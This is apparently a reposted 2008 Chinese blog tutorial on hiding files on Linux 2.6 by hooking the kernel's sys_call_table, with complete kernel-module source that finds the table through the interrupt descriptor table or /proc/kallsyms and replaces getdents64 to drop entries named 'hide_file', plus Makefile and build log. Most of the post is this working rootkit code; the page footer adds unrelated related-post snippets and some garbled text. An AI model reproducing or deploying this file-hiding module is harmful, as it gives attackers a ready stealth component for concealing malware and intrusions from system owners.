2.6版本Linux上替换系统调用函数实现隐藏文件学习

syscall的检测与绕过 通过汇编直接NtCreateThreadEx在函数种通过syscall进入ring0。此时的调用是非常明显的,能看到Ntdll中NtCreateThread的调用。此时直接通过我们的主程序进入ring0。通过procmon进行监控。 阅读详情
转自  widebright的个人空间

2008年08月12日 星期二

很 久以前写过一个在Windows系统上面隐藏文件的驱动,所以也想试一下Linux上面如何可以实现该功能。前几天看到Linux系统调用方面的文章,刚 好看到相关的东西,所以就试了一下。还真的可以。这┨炜戳撕芏嘞喙氐奈恼拢 薹ㄒ灰涣谐隼矗 旅婧芏嗟胤接玫降暮 捕际歉粗苹蛘卟慰剂吮鹑说拇 搿?总结一下吧。

1. 首先,要知道Linux系统里面有一个叫做sys_call_table这个系统调用列表的指针。其实就是很多系统调用函数的指针列表。 这个东西其实和Windows系统的SSDT几乎一样的东西,很多人也很喜欢去修改SSDT表进而做些猥琐的事情。把ssdt hook的方法用到sys_call_table上面,也可以做到替换文件查询函数,就可以做到隐藏文件。

2. sys_call_table 这个指针有很多方法可以得到的,2.4内核还是导出的,直接用就行,2.6内核上面就要自己写代码来找了,有很多方法,根据0x80中断的处理函数来搜索指令,或者读/proc/kallsyms 得到sysenter_entry 地址在搜索得到sys_call_table

3.知道sys_call_table 就可以替换相关的系统调用函数来隐藏文件了。

可以通过strace 命令来查看某个程序或者命令调用了哪些syscall 函数。

运 行“strace ls” 可以看到ls命令是调用了getdents64这个函数来得到文件夹下面的文件的,所以我们只要拦截这个系统调用,然后做些处理就行了。具体实现看代码就 知道了。不过很有意思的,发现Linux查找文件夹所有文件时函数返回的那个文件列表缓存结构和Windows里面采用的都是很类似的,都是一个列表结 构,隐藏文件所采用的方法也几乎一成不变的移植过来使用。其实Windows和Linux很多思想或概念都是很类似的,可能一方出现某个优秀的想法也会被其他人学习使用吧。

4. 网上很多人说可以使用ptrace函数来做到同样的拦截系统调用的效果,我也去看了一下相关文档,发现ptrace更像是Linux提供给用户空间程序调 试另外一个程序的接口。确实可以用来做到检测程序调用了哪些系统调用函数(不知道strace是不是就是通过这个来做的),不过用来实现拦截系统调用,可 能比较复杂,至少我这么认为,还不如sys_call_table的方法来的简单。ptrace更重要的目的是调试功能,比如向另外一个进程空间读写数据 等,设置调试断点等等。感兴趣的可以自己搜索一下。

5. 网上还有直接同过修改内核镜像设备的内存映射 /dev/kmem 来实现拦截系统调用的方法。有优点是在普通的用户程序里面就可以做,不用写内核模块,不过需要跟多的技巧,可以自己搜索一下。

6. Linux的编程,相对Windows来说还是很方便的,开发工具用系统里面的gcc就可以了,不想Windows要写个驱动要找半天才能弄到个 winDDK来玩。如果发现问题,还可以翻看对应的内核的源代码,看具体是怎么回事,不像Windows地球人都知道是不开源的了。不过Linux相对来 说文档好像不是那么多,没有人专门去写MSDN这种帮助开发者学习的文档吧,有的函数搜索半天也搜索不到一个说明,你就算直接去看内核源代码也是很不方便 的。

具体的代码如下:

====================================================

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/dirent.h>
#include <linux/mm.h>


//sys_read sys_open等系统调用函数
#include <linux/syscalls.h>  
#include <linux/unistd.h>

//flags e.g. O_RDWR , O_EXCL
#include <linux/stat.h>
#include <linux/fcntl.h>
#include <linux/fs.h>

//get_ds() set_fs() get_fs()
#include <asm/processor.h>
#include <asm/uaccess.h>

#include <linux/slab.h> //for kmalloc and kfree


/*在内核 版本为linux-2.6.25.7的内核源代码的arch/x86/kernel/entry_32.S 文件中 可以看到
sysenter call 和 system_call 的处理部分的源代码

-------------

# system call handler stub
ENTRY(system_call)
RING0_INT_FRAME    # can't unwind into user space anyway
pushl %eax    # save orig_eax
CFI_ADJUST_CFA_OFFSET 4
SAVE_ALL
GET_THREAD_INFO(%ebp)
# system call tracing in operation / emulation
Note, _TIF_SECCOMP is bit number 8, and so it needs testw and not testb
testw $(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT),TI_flags(%ebp)
jnz syscall_trace_entry
cmpl $(nr_syscalls), %eax
jae syscall_badsys
syscall_call:
call *sys_call_table(,%eax,4)            这里可以得到地址的位置
movl %eax,PT_EAX(%esp)   # store the return value
syscall_exit:
LOCKDEP_SYS_EXIT
DISABLE_INTERRUPTS(CLBR_ANY) # make sure we don't miss an interrupt
# setting need_resched or sigpending
-------------------------
可以看到最后都是跳转大到sys_call_table 指定的地址上去
arch/x86/kernel/traps_32.c 中的trap_init 函数中可以看到设置
set_system_gate(SYSCALL_VECTOR,&system_call);
这是设置0x80号中断为system_call 函数来处理的
在asm-x86/hw_irq_64.h 文件中有
#define IA32_SYSCALL_VECTOR 0x80
的定义

widebright@widebright-desktop:/usr/src/linux-2.6.25.7-widebright$ ls
arch     crypto         include kernel       Makefile        net             scripts     usr
block    Documentation init     lib          mm              README          security    virt
COPYING drivers        ipc      lost+found   modules.order   REPORTING-BUGS sound       vmlinux
CREDITS fs             Kbuild   MAINTAINERS Module.symvers samples         System.map vmlinux.o
widebright@widebright-desktop:/usr/src/linux-2.6.25.7-widebright$
widebright@widebright-desktop:/usr/src/linux-2.6.25.7-widebright$
widebright@widebright-desktop:/usr/src/linux-2.6.25.7-widebright$ gdb -q vmlinux
(gdb) disass system_call
Dump of assembler code for function system_call:
0xc0104df0 <system_call+0>: push   %eax
0xc0104df1 <system_call+1>: cld   
0xc0104df2 <system_call+2>: push   %fs
0xc0104df4 <system_call+4>: push   %es
0xc0104df5 <system_call+5>: push   %ds
0xc0104df6 <system_call+6>: push   %eax
0xc0104df7 <system_call+7>: push   %ebp
0xc0104df8 <system_call+8>: push   %edi
0xc0104df9 <system_call+9>: push   %esi
0xc0104dfa <system_call+10>: push   %edx
0xc0104dfb <system_call+11>: push   %ecx
0xc0104dfc <system_call+12>: push   %ebx
0xc0104dfd <system_call+13>: mov    $0x7b,%edx
0xc0104e02 <system_call+18>: mov    %edx,%ds
0xc0104e04 <system_call+20>: mov    %edx,%es
0xc0104e06 <system_call+22>: mov    $0xd8,%edx
0xc0104e0b <system_call+27>: mov    %edx,%fs
0xc0104e0d <system_call+29>: mov    $0xffffe000,%ebp
0xc0104e12 <system_call+34>: and    %esp,%ebp
0xc0104e14 <system_call+36>: testw $0xe1,0x8(%ebp)
0xc0104e1a <system_call+42>: jne    0xc0104f40 <syscall_trace_entry>
0xc0104e20 <system_call+48>: cmp    $0x147,%eax
0xc0104e25 <system_call+53>: jae    0xc0104fca <syscall_badsys>
0xc0104e2b <system_call+59>: call   *-0x3fcde780(,%eax,4)          这里就是sys_call_table 的位置
0xc0104e32 <system_call+66>: mov    %eax,0x18(%esp)
0xc0104e36 <syscall_exit+0>: push   %eax
0xc0104e37 <syscall_exit+1>: push   %edi
0xc0104e38 <syscall_exit+2>: push   %ecx
0xc0104e39 <syscall_exit+3>: push   %edx
0xc0104e3a <syscall_exit+4>: call   *%cs:0xc03ebd44
0xc0104e41 <syscall_exit+11>: pop    %edx
0xc0104e42 <syscall_exit+12>: pop    %ecx
0xc0104e43 <syscall_exit+13>: pop    %edi
0xc0104e44 <syscall_exit+14>: pop    %eax
0xc0104e45 <syscall_exit+15>: testl $0x100,0x34(%esp)
0xc0104e4d <syscall_exit+23>: je     0xc0104e53 <no_singlestep>
0xc0104e4f <syscall_exit+25>: orl    $0x8,0x8(%ebp)


(gdb) x/xw system_call+59
0xc0104e2b <system_call+59>: 0x808514ff           下面就是通过查找这个指令来得到*sys_call_table 的值

(gdb) x/xw 0xc0104e2e
0xc0104e2e <system_call+62>: 0xc0321880              这个即是sys_call_table 的值

*/
/*
extern void * sys_call_table[];

2.6内核中 sys_call_table 的地址已经不被导出了,可以在System.map 找到,
但你要确保这个System.map 是和当前的系统内核是对应的才行
root@widebright-desktop:/home/widebright/桌面/驱动学习# cat /boot/System.map-2.6.24-18-generic | grep sys_call
c0325520 R sys_call_table

运行时可以根据/proc/kallsyms 来得到正确的地址
root@widebright-desktop:/home/widebright/桌面/驱动学习# grep sysenter_entry /proc/kallsyms
c0104350 T sysenter_entry

croot@widebright-desktop:/home/widebright/桌面/驱动学习# cat /proc/kallsyms |grep sys_call_table
c0325520 R sys_call_table

1。从 System.map 文件直接得到地址。
例如,要得到 do_fork 的地址,可以在命令行执行 $grep do_fork /usr/src/linux/System.map 。
2。使用 nm 命令。
$nm vmlinuz |grep do_fork
3。从 /proc/kallsyms 文件获得地址。 2.4版本的内核是/proc/ksyms 文件
$cat /proc/kallsyms |grep do_fork
4。使用 kallsyms_lookup_name() 例程。
这个例程是在 kernel/kallsyms.c 文件中定义的,要使用它,必须启用 CONFIG_KALLSYMS 编译内核。 kallsyms_lookup_name() 接受一个字符串格式内核例程名,返回那个内核例程的地址。例如: kallsyms_lookup_name("do_fork");

*/


void ** sys_call_table;   /*保存获取到的sys_call_table 指针*/

asmlinkage long (*orig_getdents64)(unsigned int fd,struct linux_dirent64 *dirp,unsigned int count); /*保存原来系统调用函数getdents64的地址*/

/*
struct linux_dirent64 {
u64 d_ino;                //inode number
s64 d_off;                 // offset to next dirent   ,这个不知道是什么来,数值一直都很大,估计是磁盘上的偏移?
unsigned short d_reclen;   // length of this dirent
unsigned char d_type;
char d_name[0];            //filename (null-terminated)
};
*/

// 中断描述符表寄存器结构

struct _idtr{

unsigned short limit;

unsigned int base;

} __attribute__((packed)) idtr ; //取消内存字节对齐,这样 sizeof(struct _idtr)=6,否则sizeof(struct _idtr)=8,实际执行时就会出错

// 中断描述符表结构
struct idt_descriptor
{
unsigned short off_low;
unsigned short sel;
unsigned char none, flags;
unsigned short off_high;
} __attribute__((packed));

/*通过0x80中断得到system_call 函数地址*/
void *get_system_call(void)
{      
struct idt_descriptor * idt;
void *addr=NULL;
       
asm ("sidt %0" : "=m" (idtr));
idt = (void*)((unsigned long*)(idtr.base));
printk("idt : %x/n", (unsigned int)idt);   //在virtualbox虚拟机上这个不能获取到正确的值

addr = (void*)(((unsigned int )idt[0x80].off_low) |
   (((unsigned int)idt[0x80].off_high) << 16));
printk("system_call entry: %x/n", (unsigned int) addr);
       
        //printk("size of _idtr: %d/n", sizeof(struct _idtr));
return   addr;
}

/* 得到 sys_call_table 列表指针 */
void *get_sys_call_table(void *system_call)
{
unsigned char *p;
unsigned long s_c_t;
int count = 0;

p = (unsigned char *) system_call;

/*
* 查找机器码得到 sys_call_table 的地址
* `call sys_call_table(, %eax, 4)`
*/
while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85)))
{
   p++;
   if (count++ > 500)
   {
    count = -1;
    break;
   }
}

if (count != -1)
{
   p += 3;
   s_c_t = *((unsigned long *) p);
}
else
   s_c_t = 0;

return((void *) s_c_t);

}

/**
* 读取 /proc/kallsyms 文件,
* 从中解释出 sysenter 入口的地址, 成功就返回 地址,否则返回0
    
    root@widebright# cat /proc/kallsyms | grep sysenter_entry
    c0104350 T sysenter_entry

*/
void * get_sysenter_entry(void)
{      
        void *sysenter_entry =NULL;     /*保存获取到的sysenter_entry入口地址*/
mm_segment_t old_fs;
       // int fd;
        char line[256];     
   int i = 0;
        struct file *file = NULL; //Stores information related to files opened by a process

        //配置段寄存器ds segment register
        //通知系统,以后的系统调用(read 等)参数,来自内核内存区,而不是用户内存区
        //因为默认系统会把,系统调用的参数单作来自用户空间的,会作一些检查,然后把他
        //转化成内核空间的地址。所以要通知他我们这里传的参数都是已经来自内核空间的了,他
         //才不会报错,专家的建议是尽量不要在内核中进行文件操作
old_fs = get_fs();
set_fs(get_ds());
        // sys_open 和sys_read 说是不推荐使用了 ,
        //fs/open.c 文件中有如下一句,
        //EXPORT_UNUSED_SYMBOL_GPL(sys_open); /* To be deleted for 2.6.25 */
        //从2.6.25中就不再导出这两个函数了,因为在内核中读取文件被认为是一种非常不好的办法。
        /* 下面这个方法在2.6.24版本的内核是还是可以正常工作的,下面用 filp_open 的方法来实现吧。
        fd = sys_open("/proc/kallsyms", O_RDONLY, 0);
        if (fd >= 0)
        {
               while (sys_read(fd, &line[i], 1) == 1)
               {      
                       if (line[i] == '/n')
                       {
                            line[i] ='/0';
                            i=0;
                            //到这里时,line中保存一行数据
                            if (strstr(line,"sysenter_entry") != NULL)
                            {  
                                sysenter_entry =(void *) simple_strtoul(line,NULL,16);
                                break;  
                            }

                       }
                       if (i< 254)
                       {
                            i++;
                       }
               }
                          
               sys_close(fd);
        }
        */

       file = filp_open("/proc/kallsyms",O_RDONLY,0);
       if (file ==NULL) return NULL;
       if (file->f_op->read ==NULL) return NULL;

       //每次从文件中读取一个字节到 line里面,&file->f_pos 指定要开始读的位置,
       //可能这种方法比较地效率,不过还是可以正确工作的,也只在最开始的时候调用一次,应该问题不大
       while ( file->f_op->read(file, &line[i], 1,&file->f_pos) == 1)
       {      
               if (line[i] == '/n')
               {
                   line[i] ='/0';
                   i=0;
                   //到这里时,line中保存一行数据
                   if (strstr(line,"sysenter_entry") != NULL)
                   {  
                        sysenter_entry =(void *) simple_strtoul(line,NULL,16);
                        break;  
                   }

               }
              if (i< 254)
              {
                  i++;
              }
      }

      filp_close(file,NULL);
      set_fs(old_fs);       //还原最初的fs

     return sysenter_entry;
}


// asmlinkage告诉编译器所有的参数都是通过堆栈来传递,不要优化成使用寄存器的调用方式
///原本的sys_getdents64 在内核源代码的 fs/readdir.c 文件中定义
asmlinkage long my_getdents64(unsigned int fd,struct linux_dirent64 *dirp,unsigned int count)
{
unsigned int bufLength, recordLength, modifyBufLength;
struct linux_dirent64 * dirp2, *dirp3,
              *head = NULL, //进行修改时,指向正确的列表的头条记录
              *prev = NULL; //进行修改时,指向列表中上一项记录

char hide_file[]="hide_file"; /*我们要隐藏的文件名字*/

bufLength = (*orig_getdents64) (fd, dirp, count); /*调用原本函数得到文件夹信息*/
        //printk("bufLength:%u/n", bufLength);
        if (bufLength <= 0 ) return bufLength ; //如果函数调用出错,直接返回好了

        /*申请内核空间*/
dirp2 = (struct linux_dirent64 *)kmalloc(bufLength, GFP_KERNEL);
        if (!dirp2) return bufLength;
/* 把已经得到的文件夹信息从用户空间复制出来*/
if (copy_from_user(dirp2, dirp, bufLength) )
{
   printk("fail to copy dirp to dirp2 /n");
                return bufLength;
}
     
        head = dirp2;
        dirp3 = dirp2;
        modifyBufLength = bufLength;
while (((unsigned long )dirp3) <(((unsigned long) dirp2)+ bufLength))
{     
                recordLength = dirp3->d_reclen;
                //printk("length:%u ",recordLength);
        
   if ( recordLength == 0)
   {
    //有些文件系统getdents函数没能正确运行
                        break;
   }
   // 是否是我们要隐藏的文件
   if (strncmp(dirp3->d_name, hide_file ,strlen(hide_file)) ==0)
   {       
                
                        if (!prev) //整个列表中的第一个记录就是我们要隐藏的文件
                        {
                              head = (struct linux_dirent64 *)((char *) dirp3 + recordLength);
                              modifyBufLength -= recordLength;

                        }
                        else{ // 修改前一个记录长度,去掉我们要隐藏的文件纪录
                              prev->d_reclen += recordLength;
                              memset(dirp3, 0, recordLength );
                        }
  
   }
                else
                {
                        prev= dirp3;
                }


                //继续下一条记录查找
        dirp3 = (struct linux_dirent64 *)
    ((char *) dirp3+ recordLength);
}
     
       // 用我们修改后的文件信息覆盖原有用户空间的文件信息
        copy_to_user (dirp, head, modifyBufLength);
        kfree(dirp2);

return modifyBufLength;
}

int init_module(void)
{

/*
/usr/include/sys/syscall.h   有system call函数的号码定义 ,
也可以写作 SYS__getdents64 的,不过都是在# include <bits/syscall.h>里面定义的宏

在/usr/include/asm/unistd.h 有system call函数的号码定义
#define __NR_getdents64   220

*/

void *s_call, *sysenter_entry;
       
        //采用0x80系统中断获取system_call函数地址的方法来获取sys_call_table地址
s_call = get_system_call();   
        if (s_call ==NULL) return (-1);
sys_call_table = get_sys_call_table(s_call);
printk("sys_call_table: 0x%08x/n", (int) sys_call_table);

        //采用第二种方法来根据sysenter_entry地址来获取得到sys_call_table地址
        if (sys_call_table == NULL){
       
             sysenter_entry=get_sysenter_entry();
      printk("sysenter_entry: 0x%08x/n", (int) sysenter_entry);
             if (sysenter_entry ==NULL) return (-1);
      sys_call_table = get_sys_call_table(sysenter_entry);
      printk("sys_call_table: 0x%08x/n", (int) sys_call_table);
       
             if (sys_call_table ==NULL)
             {
           return(-1);   
             }
        }

       //检测获取到的地址是不是正确的,
       if (sys_call_table[__NR_close] != (unsigned long *)sys_close)
       {   
            printk("Incorrect sys_call_table address./n");
            return -1;
       }
      
         //替换相关函数的调用地址表
orig_getdents64=sys_call_table[__NR_getdents64];
sys_call_table[__NR_getdents64]=my_getdents64;

        return 0;

      
}

void cleanup_module(void)
{
sys_call_table[__NR_getdents64]=orig_getdents64;

}

MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("Hide file Kernel Module");
MODULE_AUTHOR("widebright");

===================Makefile内容============================

# If KERNELRELEASE is defined, we've been invoked from the

# kernel build system and can use its language.

ifneq ($(KERNELRELEASE),)

    obj-m := hook_system_call.o

# Otherwise we were called directly from the command

# line; invoke the kernel build system.

else

    KERNELDIR ?= /lib/modules/$(shell uname -r)/build

    PWD := $(shell pwd)

default:
$(MAKE) -C $(KERNELDIR) M=$(PWD) modules
clean:
$(MAKE) -C $(KERNELDIR) M=$(PWD) clean

endif

===================================================

root@widebright-desktop:/home/widebright/桌面/驱动学习# make clean
make -C /lib/modules/2.6.24-18-generic/build M=/home/widebright/桌面/驱动学习 clean
make[1]: Entering directory `/usr/src/linux-headers-2.6.24-18-generic'
CLEAN   /home/widebright/桌面/驱动学习/.tmp_versions
CLEAN   /home/widebright/桌面/驱动学习/Module.symvers
make[1]: Leaving directory `/usr/src/linux-headers-2.6.24-18-generic'
root@widebright-desktop:/home/widebright/桌面/驱动学习# make
make -C /lib/modules/2.6.24-18-generic/build M=/home/widebright/桌面/驱动学习 modules
make[1]: Entering directory `/usr/src/linux-headers-2.6.24-18-generic'
CC [M] /home/widebright/桌面/驱动学习/hook_system_call.o
Building modules, stage 2.
MODPOST 1 modules
CC      /home/widebright/桌面/驱动学习/hook_system_call.mod.o
LD [M] /home/widebright/桌面/驱动学习/hook_system_call.ko
make[1]: Leaving directory `/usr/src/linux-headers-2.6.24-18-generic'

然后用insmod命令加载驱动,就可以隐藏 hide_file开始的文件,在ubuntu8.04上面测试通过

 
linux 如何隐藏 /proc/目录下的文件(version 2.6 其他版本没适配) 只为研究而用 禁止用于非法行为!!!!! /* *通过加载此模块 来将/proc目录下的文件进行隐藏 * 使用方式 insmod xx.ko hidestr='xxxx' * */ #include <linux/kmod.h> #include <linux/module.h> #include <linux/init.h> #include &... 阅读详情

相关推荐

对族实例进行任意的矩阵变换,需要什么样的族?

问:一个小问题,想向您请教一下。 能不能实现一个这样的操作:创建了一个常规模型的FamilyInstance,然后知道旋转和平移的矩阵,能否根据变换矩阵更新FamilyInstance的位置,绕任意轴旋转任意角度。 请问什么样的实体才能在revit项目文件中任意旋转?貌似一般的实例只能在XY平面内旋转,并且LocationPoint中只有一个Rotation参数。答:您好,因为Revit里面的构件

我爱Revit —— BIM应用及BIM应用软件解决方案专栏 3609

如何实现文件隐藏

方法: 1. 劫持系统中用于读取文件列表的系统调用 2. 劫持文件系统中的库函数实现对于文件隐藏 一、如何通过劫持库函数实现: 通过preload 预加载库机制进行 1. 编写注入劫持函数,并编译成动态链接库 gcc -fPIC -shared parock.c -o libmycmp.so 2. 加载预加载库 ...

G_Super_Mouse的博客 1355

SpringBoot 自定义注解来实现动态切换数据源

/ 初始化数据源@Override@Inherited@Pointcut(“@annotation(包名.aop.DataSource)”) public void@Pointcut 注解定义了一个切点,名称为 dynamicDataSource。@annotation(包名.aop.DataSource) 表示这个切点匹配所有带有 @DataSource 注解的方法。

晴天飛 雪的博客 1814

隐藏进程检测

 隐藏进程检测User Mode下的隐藏进程检测我们先来看一些简单的方法,这些方法可以用在ring3下,用不着驱动。检测的原理是每一个进程活动时都会暴露一些痕迹,可以通过这些痕迹检测到它们。这些痕迹包括打开的句柄、窗口和创建的系统对象。针对类似的检测方法来实现进程隐藏并不困难,但需要考虑进程工作时可能暴露出的所有迹象。目前还没有一个公开的rootkit做到了这一点(遗憾的是私有版本我也还没见到)。

Tommy(凌飞)的专栏 3621

syscall的检测与绕过(下)

此时你的流程是主程序模块->kernel32.dll->ntdll.dll->syscall,这样当0环执行结束返回3环的时候,这个返回地址应该是在ntdll所在的地址范围之内。syscall也可以不直接写写死在文件种,比如先用垃圾指令写死在文件中,然后在运行的时候对这些垃圾指令进行修改重新为syscall,达到静态绕过的效果。此时当ring0返回的时候,rip将会是你的主程序模块内,而并不是在ntdll所在的范围内,这点是很容易被检测也是比较准确的一种检测方式。当你正常的程序使用系统调用的时候。

星星我啊,已经很努力在学习了, 有人一起学习吗?Ziansec-1 1121

(cc)2.6版本Linux替换系统调用函数实现隐藏文件学习

(cc)2.6版本Linux替换系统调用函数实现隐藏文件学习<br />  转自  widebright的个人空间<br /><br />2008年08月12日 星期二 <br /><br />很久以前写过一个在Windows系统上面隐藏文件的驱动,所以也想试一下Linux上面如何可以实现该功能。前几天看到Linux系统调用方面的文章,刚好看到相关的东西,所以就试了一下。还真的可以。这┨炜戳撕芏嘞喙氐奈恼拢 薹ㄒ灰涣谐隼矗 旅婧芏嗟胤接玫降暮 捕际歉粗苹蛘卟慰剂吮鹑说拇搿?总结一下吧。<br />1.

zhl1224的专栏 2225

Linux 2.6 劫持系统调用 隐藏进程

Linux 2.6 劫持系统调用 隐藏进程

6989

linux劫持系统调用隐藏进程,Linux 2.6 劫持系统调用 隐藏进程

一、原理Intel x86系列微机支持256种中断,为了使处理器比较容易地识别每种中断源,把它们从0~256编号,即赋予一个中断类型码n,Intel把它称作中断向量。而Linux中的系统调用使用的是128号,即0x80号中断,所有的系统调用都是通过唯一的入口system_call()来进入内核,当用户动态进程执行一条int 0x80汇编指令时,CPU就切换到内核态,并开始执行system_call...

weixin_39962341的博客 438

从理论到实践:Linux 进程替换与 exec 系列函数

Linux 进程替换通过 exec 系列函数实现,允许当前进程被新的程序替换,清空进程的用户态资源并加载新程序。该过程保留进程的内核态资源,如 PID 和文件描述符。常见的 exec 系列函数包括 execl、execp、execv 等,用于加载新程序并传递命令行参数。

A.的博客 3692

linux劫持系统调用隐藏进程,Linux 2.6 劫持系統調用 隱藏進程 | 學步園

一、原理Intel x86系列微機支持256種中斷,為了使處理器比較容易地識別每種中斷源,把它們從0~256編號,即賦予一個中斷類型碼n,Intel把它稱作中斷向量。而Linux中的系統調用使用的是128號,即0x80號中斷,所有的系統調用都是通過唯一的入口system_call()來進入內核,當用戶動態進程執行一條int 0x80彙編指令時,CPU就切換到內核態,並開始執行system_call...

weixin_34773479的博客 252

linux进程隐藏与对抗

CATALOG前言实现方法1.命令替换实现方法对抗方法2.Hook系统调用实现方法:对抗方法:3.利用mount命令进行挂载实现方法对抗方法 前言 这篇文章主要做一个技术点的记录,过去接触比较少,现在对其进行一个小结。 实现方法 1.命令替换 实现方法 替换top、ps等命令 对抗方法 使用stat命令查看文件状态并且使用md5sum命令查看文件hash并将其与正常文件hash进行比较。如果确定被替换,使用正常文件替代坏文件即可。 2.Hook系统调用 比如说ps这个命令: 原理: (1)调用opena

Shanfenglan's blog 10万+

linux劫持系统调用隐藏进程,linux  编程--劫持系统调用隐藏进程

一个在linux内核2.6.28(ubuntu9.04)上可以运行的程序代码.相比其他一些文章,修改如下:1.增加了两个函数,清CR0的第20位,不然在替换sys_call_table的时候会报段错误.unsigned int clear_and_return_cr0(void);void setback_cr0(unsigned int val);2.针对ubuntu9.04中,ps命令用的系统...

weixin_39630744的博客 214

linux系统调用劫持隐藏进程,Linux2.6内核中劫持系统调用隐藏进程

int main(void){while(1);return 0;}编译该测试程序,#gcc looptest.c -o looptest并将该程序在后台运行,然后insmod 驱动模块hideps.ko,然后输入ps查看进程,可发现,looptest进程看不到了....---------------------本文欢迎自由转载,但请标明出处和本文链接,并保持本文的完整性。Dec 2, 2009二...

weixin_32600979的博客 216

linux隐藏tomcat版本

本环境使用的red hat 6.8 如何查看red hat 版本号? cat /etc/redhat-release 1、tomcat暴露版本号,可以让攻击者利用中间件版本利用漏洞进行攻击,故此,隐藏版本2、进入tomcat的lib目录找到catalina.jar文件 3、unzip catalina.jar 之后会多出两个文件夹(解压catalina.jar) 4、进入org/apache/catalina/util 编辑配置文件ServerInfo.properties 修改为 server

6109

linux创建隐藏进程6,Linux_可以在Linux 2.6内核中实现隐藏进程的代码,网上很多类似的文章,其中很多 - phpStudy...

可以在Linux 2.6内核中实现隐藏进程的代码网上很多类似的文章,其中很多示例程序都是在比较老的内核版本上测试过,很多在新的内核下根本无法运行,我收集了一些相关的资料,并给出一个在linux内核2.6.28(ubuntu9.04)上可以运行的程序代码.相比其他一些文章,修改如下:1.增加了两个函数,清CR0的第20位,不然在替换sys_call_table的时候会报段错误.unsigned in...

weixin_42350014的博客 150

linux 隐藏ssh版本信息,如何隐藏SSH的版本

如何隐藏SSH的版本本文以在 Ubuntu 18.04 上为例,演示如何隐藏 OpenSSH 的版本信息。Step 1: 查看 OpenSSH 的版本信息# whereis sshdsshd: /usr/sbin/sshd /usr/share/man/man8/sshd.8.gz# /usr/sbin/sshd -vunknown option -- vOpenSSH_7.6p1 Ubuntu-...

weixin_35649143的博客 2271

linux 隐藏进程,聊一聊Linux下进程隐藏的常见手法及侦测手段

严正声明:本文仅限于技术讨论与学术学习研究之用,严禁用于其他用途(特别是非法用途,比如非授权攻击之类),否则自行承担后果,一切与作者和平台无关,如有发现不妥之处,请及时联系作者和平台0x00.前言进程隐藏是恶意软件隐藏自身痕迹逃避系统管理人员发现的常用伎俩之一,当然,安全防护人员有时候也会使用到,比如隐藏蜜罐中的监控进程而不被入侵者觉察等。笔者也曾在多次安全应急响应经历中遇到过多各式各样的进程隐藏...

weixin_39621669的博客 954

PSMNet网络 KITTI2015预训练模型以及KITTI2015数据集

PSMNet网络进行复现时,需要下载KITTI2015数据集以及预训练权重,但作者是将文件上传至谷歌网盘,下载极其麻烦,为此特提供已下载的预训练模型,下载完成后,不要解压,直接放入网络对应位置即可使用。

下一篇: 2.6内核里劫持系统调用
ldong2007
博客等级 码龄19年 17粉丝 10原创
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值